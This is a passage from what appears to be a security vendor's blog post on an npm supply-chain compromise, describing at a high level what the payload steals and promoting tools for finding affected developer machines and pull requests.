Detect Compromised Developer Machines

Supply chain attacks like this one do not stop at the CI/CD pipeline. The malicious payload harvests credentials, SSH keys, cloud tokens, cryptocurrency wallets, and AI tool configurations from the local environment. Every developer who ran npm install with a compromised version outside of CI is a potential point of compromise.

StepSecurity Dev Machine Guard gives security teams real-time visibility into npm packages installed across every enrolled developer device. When a malicious package is identified, teams can immediately search by package name and version to discover all impacted machines.

OSS Package Search

Search across all PRs in all repositories across your organization to find where a specific package was introduced. When a compromised package is discovered, instantly understand the blast radius: which repos, which PRs, and which teams are affected. This works across pull requests, default branches, and dev machines.

This post will be updated as technical analysis of the remaining packages progresses, including full payload deobfuscation, recovery of encrypted C2 domains, and any additional indicators of compromise identified.